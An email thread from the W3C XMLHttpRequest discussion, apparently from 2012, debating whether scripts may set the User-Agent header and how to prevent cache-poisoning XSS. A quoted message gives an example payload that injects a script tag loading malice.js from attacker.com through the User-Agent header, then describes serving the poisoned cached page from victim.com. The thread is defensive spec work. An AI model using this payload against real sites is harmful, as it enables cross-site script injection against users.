Re: [XHR] Open issue: allow setting User-Agent?

I tend to agree with Boris on this one.

Couldn't we simply state in the spec that browsers must add the User-Agent
header to the Vary list, all the time? That would instantly solve the
attack-from-the-cache problem, right? No need to sanitize the data, no need
to negotiate anything between both ends.

If that's the only security threat, it actually seems quite simple to
disable.

I'm still more concerned about potentially legitimate use cases of
User-Agent filtering that could lead to security breaches when removing
User-Agent from the non-modifiable list. But if no-one else feels like
there could ever be such a legitimate use-case, then I don't think we
should hold back because of this out-of-cache XSS attack: let's just
specify User-Agent has to be in Vary all the time. It's not like it will
break caching in the general case anyway.

Le mardi 16 octobre 2012, Boris Zbarsky a écrit :

> On 10/16/12 8:44 AM, Hallvord Reiar Michaelsen Steen wrote:
>
>> xhr=new XMLHttpRequest();
>> xhr.setRequestHeader('User-**Agent', '--><script src="
>> http://attacker.com/**malice.js <http://attacker.com/malice.js>
>> "></script><!--');
>>
>
> For what it's worth, I would have no problem sanitizing the header value
> for User-Agent if we allow script to set it, or throwing on certain values;
> I can't think of any legit use cases for values containing '<', since no
> actual UAs do that.
>
>  and then requests /publicdata/index.htm . Once the request reaches
>> readyState=4, attacker's page does
>>
>> location.href='http://www.**victim.com/publicdata/index.**htm<http://www.victim.com/publicdata/index.htm>
>> ';
>>
>> The browser has a fresh copy - loaded with the xhr request just
>> milliseconds ago - and fetches the page from cache. Voila, the browser is
>> now rendering a victim.com page with a link to malice.js included and
>> the attacker can do whatever from the JS now running in the scope of the
>> site.
>>
>
> Again, "Vary: User-Agent" is the answer here, from the browser's point of
> view.  I agree that this would be good to discuss in a security
> implications section.  The spec could even require that responses to XHR
> with custom UA simply not be cached, if we want to play it safe.
>
>  so the threat scenario relies on the remote server being stupid enough to
>> do that and yet be careless about echoing non-sanitised User-Agent strings
>> back to the page. Which is basically the negotiation scenario Julian
>> earlier said he would agree to, and the reason I'm still pondering if it
>> would be worth the extra complexity to allow it for cross-domain requests
>> only...but this sort of "cache poisoning" scenario is a concern..
>>
>
> Right, I agree it's a concern.  I think it's an easy one to address for
> this narrow use case.
>
> -Boris
>
>